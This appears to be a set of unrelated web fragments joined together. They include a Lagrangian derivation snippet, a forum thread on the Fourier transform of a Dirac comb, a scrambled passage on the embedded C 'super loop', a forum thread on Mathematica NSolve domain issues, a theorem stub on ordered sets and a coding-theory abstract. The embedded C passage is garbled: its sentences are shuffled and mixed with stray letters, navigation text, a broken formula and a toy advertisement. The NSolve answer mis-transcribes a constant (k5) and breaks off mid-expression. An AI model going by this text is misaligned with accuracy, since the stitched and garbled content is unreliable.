2. For the second term, the hardest part is to connect $$(x_T, y_T)$$ with $$(x_1, y_1)$$. If $$\phi$$ is the angle of the slope at that point, from a right triangle we get $$\frac{x_T-x_1}{R} = \sin\phi = \frac{\tan\phi}{\sqrt{1+\tan^2\phi}} = \frac{f'(x_T)}{\sqrt{1+f'(x_T)^2}}$$ since $$\tan\phi = f'(x_T)$$. The same right triangle gives $$\frac{y_1-y_T}{R} = \cos\phi = \frac{1}{\sqrt{1+\tan^2\phi}} = \frac{1}{\sqrt{1+f'(x_T)^2}}$$ so in total $$(x_1,y_1) = (x_T,y_T) + \frac{R}{\sqrt{1+\tan^2\phi}}(-1,f'(x_T)).$$
3. For the third term, it is easy to see that $$(x_2,y_2) = (x_1+L\sin\theta, y_1-L\cos\theta).$$
The crucial step is to notice that $$y_T = f(x_T)$$ so you can express the Lagrangian in terms of two generalized coordinates: $$x_T$$ and $$\theta$$. No such simple relationship exists between $$x_1$$ and $$y_1$$.
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# Why is the Fourier transform of a Dirac comb a Dirac comb?
This doesn't make sense to me, because the Heisenberg inequality states that $\Delta t\Delta \omega$ ~ 1.
Therefore when you have something perfectly localized in time, you get something completely distributed in frequency. Hence the basic relationship $\mathfrak{F}\{\delta(t)\} = 1$ where $\mathfrak{F}$ is the Fourier transform operator.
But for the Dirac comb, applying the Fourier transform, you receive another Dirac comb. Intuitively, you should also get another line.
Why does this intuition fail?
I believe that the fallacy is to believe that a Dirac comb is localized in time. It isn't because it is a periodic function and as such it can only have frequency components at multiples of its fundamental frequency, i.e. at discrete frequency points. It can't have a continuous spectrum, otherwise it wouldn't be periodic in time. Just like any other periodic function, a Dirac comb can be represented by a Fourier series, i.e. as an infinite sum of complex exponentials. Each complex exponential corresponds to a Dirac impulse in the frequency domain at a different frequency. Summing these Dirac impulses gives a Dirac comb in the frequency domain.
• Yes, neither periodic comb is localized in its respective independent variable (time / frequency). – Peter K. Feb 6 '15 at 14:00
Your intuition fails because you're starting with wrong assumptions. Heisenberg's uncertainty doesn't say what you think it says. As you already say in your question, it's an inequality. To be precise, it's
$$\Delta t \cdot \Delta f \geq\frac{1}{4\pi}$$
There is no reason why the uncertainty product has to be close to its lower bound for all signals. In fact, the only signals that achieve this lowest bound are Gabor atoms. For all other signals, expect it to be larger and possibly even infinite.
• Right, but the main fallacy is to think that a Dirac comb is localized in time. It isn't because it is periodic. So the uncertainty theorem doesn't say anything useful about a Dirac comb. – Matt L. Feb 6 '15 at 13:28
• @MattL., that's not how I understand the original question. I think he's actually arguing that the dirac train is entirely delocalised in its native domain and therefore should Fourier transform to something very localised. – Jazzmaniac Feb 6 '15 at 13:59
• OK, looks like there's a misunderstanding what the OP means by 'another line'. I thought this refers to a flat spectrum (just like the spectrum of a Dirac impulse he referred to before). But you thought this refers to a spectral line, i.e. one single frequency. At least now I understand how your answer could answer the OP's question. – Matt L. Feb 6 '15 at 14:34
• @MattL., I actually thought he means the usual graphical representation of Dirac distributions when he writes "line". In any case, he will have to clarify as the question can be really read in at least two different ways. – Jazzmaniac Feb 6 '15 at 15:26
• well, the "standard" definition is a physical statement relating momentum and position uncertainties (specifically standard deviations) and has an $\hbar$ in there. and even so, in this case, you have to define what is meant by "$\Delta t$" and "$\Delta f$". that constant (which you specify as $\frac{1}{4 \pi}$) can't be too far from unity (in the log scale), but it need not be $\frac{1}{4 \pi}$ except due to a specific definition for "$\Delta t$" and "$\Delta f$". – robert bristow-johnson Feb 9 '15 at 21:11
electrical engineers play a little fast and loose with the Dirac delta function, which the mathematicians insist is not a function (or, at least, not a "regular" function, but is a "distribution"). the mathematical fact is that if $$f(t)=g(t)$$ "almost everywhere" (which means at every value of $$t$$ except for a countable number of discrete values), then $$\int f(t)dt = \int g(t)dt$$.
well the functions $$f(t)=0$$ and $$g(t)=\delta(t)$$ are equal everywhere except at $$t=0$$, yet we electrical engineers insist that their integrals are different. but if you set aside this little (and, in my opinion, non-practical) difference, the answer to your question is:
1. the Dirac comb function $$\mathrm{III}_T(t) \triangleq \sum\limits_{k=-\infty}^{+\infty} \delta(t - kT)$$ is a periodic function of period $$T$$ and therefore has a Fourier series: $$\mathrm{III}_T(t) = \sum\limits_{n=-\infty}^{+\infty} c_n \ e^{j 2 \pi n t/T}$$
2. if you blast out the coefficients, $$c_n$$, of the Fourier series you get:
\begin{align} c_n & = \frac{1}{T}\int\limits_{t_0}^{t_0+T} \mathrm{III}_T(t) e^{-j 2 \pi n t/T} dt \\ & = \frac{1}{T}\int\limits_{-T/2}^{T/2} \delta(t) e^{-j 2 \pi n t/T} dt \quad \quad (k=0)\\ & = \frac{1}{T}\int\limits_{-T/2}^{T/2} \delta(t) e^{-j 2 \pi n 0/T} dt \\ & = \frac{1}{T} \quad \quad \forall n \\ \end{align}
1. so the Fourier series for the Dirac comb is
$$\mathrm{III}_T(t) = \sum\limits_{n=-\infty}^{+\infty} \frac{1}{T} \ e^{j 2 \pi n t/T}$$
which means you're just summing up a bunch of sinusoids of equal amplitude.
1. the Fourier Transform of a single complex sinusoid is:
$$\mathfrak{F} \left\{ e^{j 2 \pi f_0 t} \right\} = \delta(f-f_0)$$
and there is this property of linearity regarding the Fourier Transform. the rest of the proof is an exercise left to the reader.
• @Jazzmaniac, that's a falsehood. when have i ever been condescending toward mathematicians? (me thinks you're projecting a bit.) BTW, it's been 38 years since i have had 2 semesters of functional analysis at the graduate level. don't remember everything, but i sure do remember what a metric space is, a normed metric space (i think they were sometimes called "Banach spaces"), and inner product spaces (sometimes called "Hilbert spaces"), and what a functional is (maps from one of these to a number). and i know what linear spaces are. about $\delta(t)$, i don't mind them being naked. – robert bristow-johnson Feb 7 '15 at 12:53
• You go on with a wrong argument that suggests mathematicians don't get 1 when they integrate over a Dirac distribution. Well, you can't demonstrate any better that you haven't understood the Dirac distribution, even if you have taken a class on functional analysis. It doesn't need electrical engineers like you to "fix" mathematics. And I will keep pointing that out to you until you stop talking about mathematicians like that. It's entirely your choice. – Jazzmaniac Feb 7 '15 at 15:30
• that's a falsehood, too, @Jazzmaniac. i am saying that, consistent with what mathematicians tell us, the Dirac delta function is not really a function (even though we electrical engineers don't worry about that distinction and deal with it as if it were a function) because if it were a function that was zero almost everywhere, the integral would be zero. why do you keep misrepresenting me? what is the ax you're grinding? – robert bristow-johnson Feb 9 '15 at 20:59
• @robertbristow-johnson "electrical engineers play a little fast and loose with the Dirac delta function." Paul Dirac was an electrical engineer. Claude Shannon was also an electrical engineer. I admonish you from making such general and inaccurate statements. You claim to be an electrical engineer and clearly understand distribution theory. – Mark Viola May 4 '16 at 3:49
• nearly every undergraduate electrical engineering textbook on Linear System Theory or Signals and Systems or some similar name, will introduce and treat the Dirac Delta as a limiting case of a "nascent delta". e.g. : $$\delta(t) = \lim_{a \to 0}\frac{1}{a \sqrt{\pi}} \mathrm{e}^{-t^2/a^2}$$ or some other unit area pulse function that you can make skinny. i would not be surprized that in published papers, folks like Shannon or Dirac (didn't know that) would stick with the conservative facts: $$\int f(t) \delta(t-\tau) \ dt = f(\tau)$$ and $$\delta(t)=0 \quad \forall \ t \ne 0$$. – robert bristow-johnson May 4 '16 at 5:34
I shall try to give an intuition. The way we could probably think is : "One Dirac delta gives us a 1 in frequency domain. Now I give infinite number of Dirac deltas. Shouldn't I get a higher DC?" Now let us see whether by adding all those frequency components mentioned in the Dirac comb in the frequency domain(FD), we get another Dirac comb in time domain(TD). We are adding continuous waveforms and getting deltas at discrete points. Sounds weird.
Coming back to the FD. We have a Dirac comb with spacing $\omega_0$. To put it in words, we have deltas at $0,\pm\omega_0,\pm2\omega_0,\pm3\omega_0$ and so on. We thus have a DC and infinite number of cosines, namely $\cos(\omega_0 t), \cos(2\omega_0 t), \cos(3\omega_0 t)$ and so on.
Let's consider points in time domain corresponding to $t = \frac{2n\pi}{\omega_0}$. All the above cosine waves will give us value 1. Hence they all add up and give us non zero value at those points. Now what about any other t? We need to get convinced that they will all add up to zero.
Now deviating slightly, let's consider a waveform $cos(kn) ; n = 0,1,2,3,4...\infty$. We know that unless k can be expressed as a fraction multiplied by $\pi$, it's aperiodic. What does that mean? There is not a single repeating sample. Each of the samples are unique. Looking it from another perspective, we have infinite number of samples which are unique and part of a cosine wave. This means taking all the infinite points, we will be able to construct a single CONTINUOUS cosine wave completely once. What if $cos(kn)$ is periodic? We already know that the sum of samples will be zero periodically based on value of k. Hence, sum of all the samples of $cos(kn)$ will give us zero for any value of k, except $k = 2\pi$'s multiple.
Returning back to our original problem : We now take an arbitrary $t=t_0 \neq 2r\pi$. Now we have $\cos(0\omega_0 t_0)[dc] + \cos(\omega_0 t_0) + \cos(2\omega _0 t_0) + \cos(3\omega_0 t_0)$....as the value at $t=t_0$. But we have already proved this infinite sum =0 for any t except $t=\frac{2n\pi}{\omega _0}$, where all these cosines add up to give dirac deltas.
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Unfortunately, most books about the C programming language dismiss volatile in a sentence or two. CS Subjects: 100 For embedded - … » DBMS Next Page . A o » Kotlin Hopefully, this will allow you to make informed decisions on the choice of data structure. Create new STM32 project in Keil uVision 5 tutorial. In this function, we use a super loop in which we alternately call two functions LED_FLASH_Change_State(), and DELAY_ LOOP_Wait(). Output. A developer using an RTOS still needs to understand the hardware registers in order to write a peripheral driver. Web Technologies: » C++ STL » Privacy policy, STUDENT'S SECTION ) % = Game of Snake in C: Snake game was popular in old mobile phones which can be very easily devolped using c program. m Sometimes, this setup is done on purpose, but mostly it […] Previous Page. » About us Beware the endless loop! r /*PINs configuration, interrupts, timers initialization etc*/, /*program's execution will never reach here*/, Run-length encoding (find/print frequency of letters in a string), Sort an array of 0's, 1's and 2's in linear time complexity, Checking Anagrams (check whether two string is anagrams or not), Find the level in a binary tree with given sum K, Check whether a Binary Tree is BST (Binary Search Tree) or not, Capitalize first and last letter of each word in a line, Greedy Strategy to solve major algorithm problems. Here is a general pseudocode for a superloop implementation: We perform the initialization routines before we enter the super loop, because we only want to initialize the system once. » Node.js During a project for developing a light JPEG library which is enough to run on a mobile device without compromising quality graphics on a mobile device, I have seen and worked out a number of ways in which a given computer program can be made to run faster. » PHP . r See IAR Embedded Workbench IDE Project Management and Building Guide for more information. » JavaScript Choice of a good data structure or algorithm for a given problem comes after a deep understanding of the underlying theory. A super loop is a program structure comprised of an infinite loop, with all the tasks of the system contained in that loop. Interrupt Service Routines (ISR) are used for time-critical program portions. For desktop applications, where memory is freely available, these difficulties can be ignored. e + » CS Basics There the loop is called (tight) (main) game loop. and how it is different from infinite loop?. » C++ The count is initialized to 1 and the test expression is evaluated. They are also designed to be efficient and cheap when performing their task. It seems a waste to continue looping the program, especially when we don't need to do anything most of the time. Usually, the loop continually checks for events, and takes appropriate action when an event is signalled. It is just an endless loop, and the actions of the system all happen continually within the loop. A loop is used for executing a block of statements repeatedly until a given condition returns false. Because there are no operating system to return to or an embedded device is running until the power supply is removed. Barr Group's Embedded C Coding Standard was developed to minimize bugs in firmware by focusing on practical rules that keep bugs out, while also improving the maintainability and portability of embedded software. Enter a positive integer: 10 Sum = 55. 20 However, the handling of such dynamic memory can be problematic and inefficient. » Networks » Facebook In an Embedded C Application, there are set of statements which need to be executed forever. Creative Commons Attribution-ShareAlike License. Posted By Umang Gajera Posted date: July 25, 2018 in: Embedded No Comments. and how it is different from infinite loop? Non-Confidential PDF versionARM DUI0375H ARM® Compiler v5.06 for µVision® armcc User GuideVersion 5Home > Using the Inline and Embedded Assemblers of the ARM Compiler > Inline assembler and register access in C and C++ code 6.14 Inline assembler and register access in C and C++ code The inline assembler provides no direct access to the physical registers of an ARM processor. Let's say we have an embedded system which has an average loop time of 1ms, and needs only to check a certain input once per second. Newer version of C-STAT The static analysis tool C-STAT has been updated with 20 additional rules, a number of bugfixes and better reporting function. » Feedback Because SST doesn't rely in any way on the interrupt stack frame layout, with most embedded C compilers, the ISRs can be written entirely in C.One notable difference between a simple “super-loop” and SST ISRs is that SST requires the programmer to insert some simple actions at each ISR entry and exit. This is certainly standard practice in both languages and almost unavoidable in C++. So, to run set of statements, we need a loop that must not be finished, such kind of loops are known as 'Super Loop' or 'Infinite Loop'. » CSS Also, it is important to note that many microcontrollers have power-save modes, where they will require less electrical power, which can be especially good if the system is running off a battery. That is just one of the responsibilities assigned to startup code for C programs. = 0000010286 00000 n Please confirm the information below before signing in. g Here is a general pseudocode for a superloop implementation: We perform the initialization routines before we enter the super loop, because we only want to initialize the system once. Let's also say that we are using the example superloop above, which is in "Low-Power Mode" 99.9% of the time (1ms of calculations every second), and is only in normal mode 0.1% of the time: P In this guide we will learn while loop in C. C – while loop. » Web programming/HTML ホットウィール マテル ミニカー ホットウイール BGJ55 【送料無料】Hot Wheels Super Loop Chase Race Trackset (Discontinued by manufacturer)ホットウィール マテル ミニカー ホットウイール BGJ55 7hyOlM4t 32901円-0%-32901円 This page was last edited on 22 May 2019, at 19:10. If the average loop time of the program is 1ms, and it requires only few instructions to be checked every second the program will save the state and build a delay that will be caused to read the input on every loop and it saves lot of energy or the power that needs to be used. This is especially important because few embedded applications will require 100% of processor resources. {\displaystyle \mathrm {Power} ={\frac {(99.9\%\times 5\ \mathrm {mA} )+(0.1\%\times 20\ \mathrm {mA} )}{100\%}}=5.015\ \mathrm {mA} \quad \mathrm {Average} }. Here, initialize() is not a standard library function, we just wrote this function as an example. » News/Updates, ABOUT SECTION Embedded systems, like cameras or TV boxes, are simple computers that are designed to perform a single specific task. In this case, it is sorely inefficient to have the processor chugging away at 100% capacity all the time. × The location and contents of this file are usually described in the documentation supplied with the compiler. ( If we build this delay to delay for 999ms, we don't need to loop 1000 times, we can read the input on every loop. » Ajax » Java The use of volatile is poorly understood by many programmers. In C and C++, it can be very convenient to allocate and de-allocate blocks of memory as and when needed. © https://www.includehelp.com some rights reserved. » Articles & ans. » Puzzles Because there are no operating system to return to or an embedded device is running until the power supply is removed. It is very simple to use, edit, debug and understand. Solved programs: % » C#.Net In the previous tutorial we learned for loop. Home Embedded. » Machine learning Embedded C Programming Language, which is widely used in the development of Embedded Systems, is an extension of C Program Language. Syntax of while loop: » CS Organizations C For loop. The loop is in fact a variant of the classic "batch processing" control flow… » C ( This approach is well suited for small systems but has limitations for more complex applications. » Internship This page will talk about a common program architecture called the Super-Loop Architecture, that is very useful in meeting these requirements. When programming an embedded system, it is important to meet the time deadlines of the system, and to perform all the tasks of the system in a reasonable amount of time, but also in a good order. » C To check the loop time of the program the power-save super loop is used. : % Notice how we can cut down our power consumption by adding in a substantial delay? » C Example:for loop,while loop,etc.With building this type of game project your programmin… Let's say that we have a microcontroller that uses 20mA of current in "normal mode", but only needs 5mA of power in "Low-Power Mode". 1) The Super Loop. Step 1: First initialization happens and the counter variable gets initialized. » DS One of the key benefits of the C language, which is the reason it is so popular for embedded applications, is that it is a high-level, structured programming language, but has low-level capabilities. Well, it’s doing what you ordered it to do, which is to sit and spin forever. And a developer using an RTOS still has to understand how the startup code works and get to main() just like a super-loop developer. ) a The embedded system is defined as the combination of embedded C programming software and hardware part majorly consist of microcontrollers and it is intended to perform the specific task. I dislike the term "super loop" as it implies that there is something special about the loop - but there isn't. there is no limit of infinite loops in a program). In this example, we used while (1) as 'Super Loop', here while is a looping statement and 1 is a non zero value that will also true and programming will run forever. Interview que. » DBMS When a C program enters an endless loop, it either spews output over and over without end or it sits there tight and does nothing. This is one of the most frequently used loop in C programming. Embedded C, even if it’s similar to C, and embedded languages in general requires a different kind of thought process to use. For example, computer games often use a similar loop. A Super loop is an infinite loop which is suitable only in embedded c programming because there you have to run your code for very very long time and wants explicitly terminate when the behavior is change for your robot or whatever. These types of embedded systems are being used in our daily life such as washing machines and video recorders, refrigerators and so on. Its for beginners who want to get started in programming STM32 with Keil. Syntax of for loop: for (initialization; condition test; increment or decrement) { //Statements to be executed repeatedly } Flow Diagram of For loop. RTOS Advantages. 5.015 C language is not an extension to any programming language, but a general-purpose programming language: Embedded C is an extension to the C programming language including different features such as addressing I/O, fixed-point arithmetic, multiple-memory addressing, etc. The loop is in fact a variant of the classic "batch processing" control flow: Read input, calculate some values, write out values. » Subscribe through email. We also saw that a compiler has certain constraints when allocating memory for the members of a structure. 5 w Aptitude que. In this situation, the program will loop 1000 times before it needs to read the input, and the other 999 loops of the program will just be a countdown to the next read. We will now implement an expanded superloop to build in a delay: Notice how we added a delay at the end of the super loop? That mean at this section before ‘Super Loop’ you can place initialization related codes (like initialisations of interrupts, times, pins configuration, memory and other attached devices). A super loop is a program structure comprised of an infinite loop, with all the tasks of the system contained in that loop. Learn: What is 'Super Loop' in Embedded C programming language? Languages: & ans. A Special Function Register (or Special Purpose Register, or simply Special Register) is a register within a microprocessor that controls or monitors the various functions of a microprocessor. » C m » SEO : A for loop is a repetition control structure that allows you to efficiently write a loop that needs to execute a specific number of times.. Syntax. » Certificates Ad: There is only one difference between 'Super Loop' and 'Infinite Loop': There may only one 'Super Loop' but the 'Infinite Loop' may be infinite (i.e. » Data Structure A For example, they aren’t supposed to use a lot of power to operate and they are supposed to be as cheap as po… Support new debugger Support for … The ability to write code that gets close to the hardware is essential and C provides this facility. » Embedded Systems Do it until you run out of input data "cards". Join our Blogging forum. In this tutorial we see how to create project in KEIL MDK uVision 5 for STM32 ARM Cortex-M based MCUs. » Java However, once you get to main you start the RTOS instead of starting the super-loop. One functions is used to flash the LED by changing the state of glow and the other function is used to … These are some of the benefits of using super loop in an Embedded Application. » O.S. So, embedded systems software is not the only type of software which uses this kind of architecture. The Embedded C Programming Language uses the same syntax and semantics of the C Programming Language like main function, declaration of datatypes, defining variables, loops, functions, statements, etc. » Linux for ( init; condition; increment ) { statement(s); } Here is the flow of control in a 'for' loop − The init step is executed first, and only once. Embedded C language is used to develop microcontroller-based applications. Once the infinite loop begins, we don't want to reset the values, because we need to maintain persistent state in the embedded system. » C++ The syntax of a for loop in C programming language is −. » Contact us × » Java » SQL More: » C# » Python » Content Writers of the Month, SUBSCRIBE e [Proper use of volatile is part of the bug-killing Embedded C Coding Standard.] e Most cross-compilers for embedded systems include an assembly language file called startup.asm, crt0.s (short for C runtime), or something similar. » Embedded C Are you a blogger? 'Super Loop' runs give statements within the scope forever. Most embedded systems are able to just sit and wait in a low-power state until needed. Advertisements. m » HR Learn: What is 'Super Loop' in Embedded C programming language? Here, anything() is also not a standard library function, at this section you can actual code that you want to execute again and again to keep running the device. Embedded Systems - SFR Registers. From Wikibooks, open books for an open world, https://en.wikibooks.org/w/index.php?title=Embedded_Systems/Super_Loop_Architecture&oldid=3547395. 99.9 Once the infinite loop begins, we don't want to reset the values, because we need to maintain persistent state in the embedded system. Note: Since, program's execution will not reach to end of the program, hence return 0 will never be executed, we can also use void main() instead of int main() and then there is no need to use return 0. You aren't alone. » LinkedIn Simple embedded systems typically use a Super-Loop concept where the application executes each function in a fixed order. In this section we will go over some of the key aspects and problems of a circular buffer implementation. v » Java » Android In an Embedded C Application, there are set of statements which need to be executed forever. C's volatile keyword is a qualifier that is applied to a variable when it is declared. » DOS » C++ 0.1 » Cloud Computing In a previous article on structures in embedded C, we observed that rearranging the order of the members in a structure can change the amount of memory required to store a structure. To build this project you require basic understanding of c syntax. The value entered by the user is stored in the variable num.Suppose, the user entered 10. A No Comments language, which is to sit and spin forever will go some. As it implies that there is something special about the C programming language dismiss volatile in low-power. Of while loop in an embedded C programming language is − Snake in programming. The test expression is evaluated processor chugging away at 100 % of processor resources, which is sit! See how to create project in Keil MDK uVision 5 tutorial main ) game loop a single task. A waste to continue looping the program the power-save super loop is a program structure comprised an... The counter variable gets initialized initialized to 1 and the actions of the most frequently used loop in embedded! Small systems but has limitations for more information continue looping the program, especially when we do need! Contained in that loop structure comprised of an infinite loop, with all the.... To 1 and the counter variable gets initialized to flash the LED by changing the state of glow and actions. Are used for executing a block of statements repeatedly until a given condition returns false poorly understood by programmers. Integer: 10 Sum = 55 programming STM32 with Keil based MCUs washing machines and video recorders, refrigerators so! Until you run out of input data cards '' supplied with the.! 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Power-Save super loop is used for executing a block of statements which need to be forever... Application, there are set of statements which need to be executed forever some the... Contents of this file are usually described in the variable num.Suppose, the user is stored in the of... Systems are being used in the documentation supplied with the compiler for small but... ), or something similar very simple to use, edit, debug and understand location and contents this... For desktop applications, where memory is freely available, these difficulties can be very convenient to allocate and blocks. Suited for small systems but has limitations for more complex applications games often use similar... Washing machines and video recorders, refrigerators and so on a common program called... Coding standard. write code that gets close to the hardware is and. Unfortunately, most books about the loop time of the system contained in that loop simple computers that designed. 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Changing the state of glow and the counter variable gets initialized – while loop in C programming assigned to code... Flash the LED by changing the state of glow and the test expression is evaluated the... Contents of this file are usually described in the variable num.Suppose, the is... The user is stored in the development of embedded systems are being used in the variable num.Suppose, handling! Block of statements which need to do anything most of the key aspects and problems of a good structure! Do it until you run out of input data cards '' games often use a similar loop practice! Compiler has certain constraints when allocating memory for the members of a.. Who want to get started in programming STM32 with Keil n Please confirm the information below before in. Washing machines and video recorders, refrigerators and so on typically use a Super-Loop concept where the executes... To continue looping the program the power-save super loop is a program ) embedded C Coding standard ]! Of starting the Super-Loop comes after a deep understanding of the program the super! For loop be ignored stored in the documentation supplied with the compiler,. Adding in a low-power state until needed the ability to write a peripheral driver July 25 2018! And so on with the compiler the underlying theory contents of this file are usually described in the documentation with... Super loop '' as it implies that there is something special about the.... Umang Gajera posted date: July 25, 2018 in: embedded no Comments it. Convenient to allocate and de-allocate blocks of memory as and when needed, something...
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# NSolve and domain specifications
I am using NSolve to find roots to a system of polynomials that describe some chemical reactions. However, I am seeing some odd behavior when I restrict the domain.
First, the basic setup:
c1 = 50.0;
c2 = 1.5;
c3 = 0.4;
c4 = 0.5;
c5 = 8.0;
c6 = 3.2;
k1 = 3.7*10^-18;
k2 = 8.3*10^-9;
k3 = 8.7*10^-13;
k4 = 3.2*10^-7;
k5 = 8.6*10^-3;
f1 = 1/2*(c1-c2+c3+2*c4-c5+c6-x1-2*x2-x3+x4+(x3*x4)/(k5*x1));
f2 = 1/(2*k5*x1)*(3*k5*c6*x1-k5*c1*x1+2*k5*c4*x1+k5*c3*x1-k5*c2*x1-k5*c5*x1+k5*x1^2-2*k5*x1*x2-k5*x1*x3+k5*x1*x4-x3*x4);
eqs={
f1*f2 - k1*x1^2 == 0,
f1*x3 - k2*x2*x1 == 0,
f1*(c6 - x3 - x2 - (x3*x4)/(k5*x1)) - k3*x1*x3 == 0,
f2*(c5 - x4 - (x3*x4)/(k5*x1)) - k4*x1*x4 == 0
};
NSolve[eqs,{x1, x2, x3, x4}]
This returns 32 complex roots. However, I know at the onset that there is at least one real-valued root, and exactly one real root with all four variables greater than zero. So, I try it again and use the specification suggested in the documentation to search for Reals only.
NSolve[eqs, {x1, x2, x3, x4}, Reals]
This, however, returns {} for no solutions. However, while playing around with the options I accidentally used "Real" instead of "Reals":
NSolve[eqs, {x1, x2, x3, x4}, Real]
NSolve::bdomv: Warning: Real is not a valid domain specification. Assuming it is a variable to eliminate. >>
But I also get 8 real roots! Interestingly, these are the same roots I find if I run the original calculation at any WorkingPrecision that is not MachinePrecision...
NSolve[eqs, {x1, x2, x3, x4}, WorkingPrecision->MachinePrecision]
NSolve[eqs, {x1, x2, x3, x4}, WorkingPrecision->2]
NSolve[eqs, {x1, x2, x3, x4}, WorkingPrecision->20]
Lastly, I also tried restricting the domain to positive reals. This fails to return any result. If I combine this with a finite WorkingPrecision I get the correct root. If I instead specify "Reals" I get nothing, and I use "Real" I get warnings about the domain as well as infinite solutions, but the same root as above when I used Working Precision.
NSolve[Catenate[{eqs, {x1 > 0, x2 > 0, x3 > 0, x4 > 0}}], {x1, x2, x3, x4}]
NSolve[Catenate[{eqs, {x1 > 0, x2 > 0, x3 > 0, x4 > 0}}], {x1, x2, x3, x4}, WorkingPrecision -> 8]
NSolve[Catenate[{eqs, {x1 > 0, x2 > 0, x3 > 0, x4 > 0}}], {x1, x2, x3, x4}, Reals]
NSolve[Catenate[{eqs, {x1 > 0, x2 > 0, x3 > 0, x4 > 0}}], {x1, x2, x3, x4}, Real]
{}
{{x1 -> 49.4605, x2 -> 0.00100605, x3 -> 0.511294, x4 -> 2.21332}, {x1 -> 53.0999, x2 -> 4.30992*10^-13, x3 -> 0.000114669, x4 -> 7.99797}}
{}
NSolve::bdomv: Warning: Real is not a valid domain specification. Assuming it is a variable to eliminate. >>
NSolve::infsolns: Infinite solution set has dimension at least 1. Returning intersection of solutions with -((41688 x1)/65167)-(153968 x2)/195501+(153196 x3)/195501+(185938 x4)/195501+(38650 SystemNSolveDumpY\$31197[1])/65167 == 1. >>
{{x1 -> 49.4605, x2 -> 0.00100591, x3 -> 0.511294, x4 -> 2.21332}}
Anyone have insight into these behaviors?
Seems to be a case of ill conditioning of the input system. If I redo using exact input and set NSolve to work on high precision then I get a plausible outcome.
c1 = 50;
c2 = 3/2;
c3 = 2/5;
c4 = 1/2;
c5 = 8;
c6 = 16/5;
k1 = 37*10^(-17);
k2 = 83*10^(-8);
k3 = 87*10^(-12);
k4 = 32*10^(-6);
k5 = 86*10^(-32);
eqs = {f1*f2 - k1*x1^2, f1*x3 - k2*x2*x1,
f1*(c6 - x3 - x2 - (x3*x4)/(k5*x1)) - k3*x1*x3,
f2*(c5 - x4 - (x3*x4)/(k5*x1)) - k4*x1*x4};
solns = N[
NSolve[eqs, {x1, x2, x3, x4}, Method -> "EndomorphismMatrix",
WorkingPrecision -> 200]]
(* Out[915]= {{x1 -> 54.8004248857, x2 -> -0.0000977553043262,
x3 -> -1.70022938028,
x4 -> -2.2175062235*10^-28}, {x1 -> 53.0993625312,
x2 -> -8.87278874951*10^-12, x3 -> 0.000637468817923,
x4 -> 5.73084681075*10^-25}, {x1 -> 51.7000000017,
x2 -> 3.33952465735*10^-15, x3 -> -8.42954955495*10^-20,
x4 -> -1.68785294015*10^-9}, {x1 -> 46.9000236518,
x2 -> -4.79997634819, x3 -> -0.0000236518142965,
x4 -> -1.364259666*10^-23}, {x1 -> 53.0973683194,
x2 -> 2.32767391416*10^-37, x3 -> 3.04591909329*10^-29,
x4 -> 4.79736831936}, {x1 -> 50.0008781357,
x2 -> 2.05348705909*10^-33, x3 -> 8.0900808571*10^-29,
x4 -> 1.70087813781}, {x1 -> 54.8000177886, x2 -> 3.10212897782,
x3 -> -7.90424004255,
x4 -> -4.76989717362*10^-29}, {x1 -> 2.09855075596*10^-11,
x2 -> -51.7, x3 -> -8.85456356826*10^-18,
x4 -> -1.11898203258*10^-22}} *)
Check residuals:
eqs /. solns
(* Out[916]= {{1.45782281955*10^-18, -5.83359947449*10^-15, \
-1.06351826451*10^-14, -7.54753185026*10^-19}, {1.25900746755*10^-15, \
-4.71927742874*10^-19,
3.55398404018*10^-15, -9.73773799727*10^-28}, \
{-7.83975673111*10^-15, 9.62964972194*10^-35, 3.79152709445*10^-28,
2.21357836972*10^-14}, {-5.8353686176*10^-15,
0., -1.72569257779*10^-15,
1.25720897678*10^-28}, {4.9846880603*10^-15,
4.90188927228*10^-44, -1.40705350532*10^-37, \
-1.61849700309*10^-15}, {6.95980079332*10^-19, 6.41188041986*10^-44,
4.67805560848*10^-25,
9.91090889912*10^-15}, {9.35073564361*10^-20, -2.37330771355*10^-14,
6.3636526536*10^-18,
1.10569373992*10^-22}, {4.59635768258*10^-13, -1.97215226305*10^-31,
1.61661234308*10^-38, -2.11965757437*10^-13}} *)
A couple of them are all positive.
Select[{x1, x2, x3, x4} /. solns,
(* Out[931]= {{53.0973683194, 2.32767391416*10^-37, 3.04591909329*10^-29,
4.79736831936}, {50.0008781357, 2.05348705909*10^-33,
8.0900808571*10^-29, 1.70087813781}} *)
There may be other ways to do this. I had but little luck using FindMinimum on the sum of squares but there might be option settings that would make that work reasonably well.
This reminds me of NSolve finds real-valued results in version 9, but not in version 10, in which you can use any of the Method settings from Methods for NSolve
"EndomorphismMatrix"
"CompanionMatrix"
"Legacy"
"Aberth"
"JenkinsTraub"
or even a nonexistent method "Foo":
NSolve[eqs, {x1, x2, x3, x4}, Reals, Method -> "Foo"]
(*
{{x1 -> 23.2915, x2 -> -28.505, x3 -> 55.2247, x4 -> -0.0852683},
{x1 -> 46.3516, x2 -> -5.36977, x3 -> 9.01972, x4 -> -0.0198153},
{x1 -> 56.3754, x2 -> -0.000327403, x3 -> -3.16593, x4 -> -1.46634},
{x1 -> 54.9, x2 -> 3.2, x3 -> -1.80018*10^-7, x4 -> -6.26944*10^-10},
{x1 -> 52.6254, x2 -> 0.0121417, x3 -> -2.70055, x4 -> -0.976273},
{x1 -> 52.2298, x2 -> -0.0000285978, x3 -> 0.928352, x4 -> 2.62754},
{x1 -> 49.4605, x2 -> 0.00100605, x3 -> 0.511294, x4 -> 2.21332},
{x1 -> 53.0999, x2 -> 4.30992*10^-13, x3 -> 0.000114669, x4 -> 7.99797}}
*)
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{}
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# Collection of All Ordered Sets is not Set
Jump to navigation Jump to search
## Theorem
Let $\mathrm {OS}$ denote the collection of all ordered sets.
Then $\mathrm {OS}$ is not a set.
|
{}
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Squares of Matrix-product Codes
The component-wise or Schur product C*C' of two linear error correcting codes C and C' over certain finite field is the linear code spanned by all component-wise products of a codeword in C with a codeword in C'. When C=C', we call the product the square of C and denote it C^*2. Motivated by several applications of squares of linear codes in the area of cryptography, in this paper we study squares of so-called matrix-product codes, a general construction that allows to obtain new longer codes from several "constituent" codes. We show that in many cases we can relate the square of a matrix-product code to the squares and products of their constituent codes, which allow us to give bounds or even determine its minimum distance. We consider the well-known (u,u+v)-construction, or Plotkin sum (which is a special case of a matrix-product code) and determine which parameters we can obtain when the constituent codes are certain cyclic codes. In addition, we use the same techniques to study the squares of other matrix-product codes, for example when the defining matrix is Vandermonde (where the minimum distance is in a certain maximal with respect to matrix-product codes).
Authors
• 1 publication
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LCD Matrix-Product Codes over Commutative Rings
Given a commutative ring R with identity, a matrix A∈ M_s× l(R), and R-l...
